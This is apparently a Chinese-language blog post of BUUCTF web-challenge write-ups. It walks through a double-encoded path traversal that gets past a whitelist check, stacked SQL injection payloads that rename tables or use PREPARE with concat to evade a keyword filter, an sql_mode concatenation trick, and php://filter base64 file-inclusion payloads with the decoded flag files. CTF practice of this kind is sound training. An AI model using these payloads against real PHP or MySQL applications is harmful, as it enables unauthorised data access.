title: BUUCTF WriteUp
date: 2021-01-16 17:44:59
tags: CTF WriteUP
WEB
[HCTF 2018]WarmUp
启动环境,打开网址是一张滑稽,没什么用,看一下源码,发现有注释。
访问source.php,直接给了源码,进行代码审计。
分两块,第一块是emmm::checkFile,里面做了一些判断。
第二块是一个include,文件包含,我们要绕过验证,也就是上面的checkFile方法。
hint.php
include触发的三个判断条件全为真时,include才执行。
checkFile为真
第一个if,page需要设置并且为字符串
第二个if,page需要在白名单中
_page是page从开始到?的位置截取的一段子串
第三个if,_page需要在白名单中
_page进行url解码
_page再进行相同截取
第四个if,_page需要在白名单中
所以我们构造payload的时候,需要反着来构造,需要截取,就添加,需要url解码,我们就进行编码
首先构造以下命令,保证最后_page在白名单中
?file=source.php
接下来构造出include的flag
?file=source.php?../../../../../../../ffffllllaaaagggg
然后url编码两次
?file=source.php%253F/../../../../../../../ffffllllaaaagggg
payload就构造完成了。
[强网杯 2019]随便注
开局就是一个输入框,先看看简单的注入,判断出闭合符为单引号
1' //报错
1'# //正常
1' and 1=1# //正常
1' and 1=2# //正常,false
接下来获得列数,列数为2
1' order by 1#
1' order by 2#
1' order by 3# //报错
尝试用select,发现被过滤
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
到这里就没思路了,看wp,是堆叠注入,就是一次执行多条命令,之间用分号分隔
1';show databases;#
下来查表
1';show tables;#
下来查字段
1';show columns from `1919810931114514`;#
看到有个flag字段,应该就在这里
接下来是获取flag中的内容
这里有两种方法
方法一:改名
- 将表名words换为其他的,类似于word1
- 将表名1919810931114514换为words
- 将列名flag换为id
通过使用alter,rename,构造payload
1' ; rename tables `words` to `word1` ; rename tables `1919810931114514` to `words` ; alter table `words` change `flag` `id` varchar(100);#
改完名之后,直接查看就可以得到flag,因为回显的数据默认是来自word表的
方法二:预处理语句
通过使用prepare,execute,deallocate命令来绕过验证,这里是用了concat拼接
1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#
[极客大挑战 2019]EasySQL1
万能密码
[极客大挑战 2019]Havefun1
看源码,有一段注释
直接get传参试试,成了
[SUCTF 2019]EasySQL1
看wp,大佬直接盲猜SQL语句
select $_POST[‘query’] || flag from Flag
*,1
直接一把梭哈
下来是做法二:
1;set sql_mode=PIPES_AS_CONCAT;select 1
sql_mode 设置了 PIPES_AS_CONCAT 时,|| 就是字符串连接符,相当于CONCAT() 函数
[ACTF2020 新生赛]Include1
根据题目,文件包含
payload:
?file=php://filter/read=convert.base64-encode/resource=flag.php
这里有点想不通为什么要用这个
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7ZDZlYTU5ZTktMjZjNC00MTlmLTkyMzgtNDFhY2E3ZGRlMDkxfQo=
<?php
echo "Can you find out the flag?";
//flag{d6ea59e9-26c4-419f-9238-41aca7dde091}
[极客大挑战 2019]Secret File1
首先看看源码,发现有个Archive_room.php
访问,发现有一个按钮,是指向action.php,然后我们到了end.php
这一步需要抓包
得到有一个secr3t.php
得知flag在flag.php里面,还给了源码,代码审计,有一个include,文件包含
然后发现过滤了一些伪协议,filter可以用,像上一道题目那样构造payload
?file=php://filter/read=convert.base64-encode/resource=flag.php
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7ODQzNGQxMWUtM2M4NS00MjZjLTljOTUtYmRkNjllNjNhZjMzfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>FLAG</title>
</head>
<body style="background-color:black;"><br><br><br><br><br><br>
<h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在这里";
$flag = 'flag{8434d11e-3c85-426c-9c95-bdd69e63af33}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body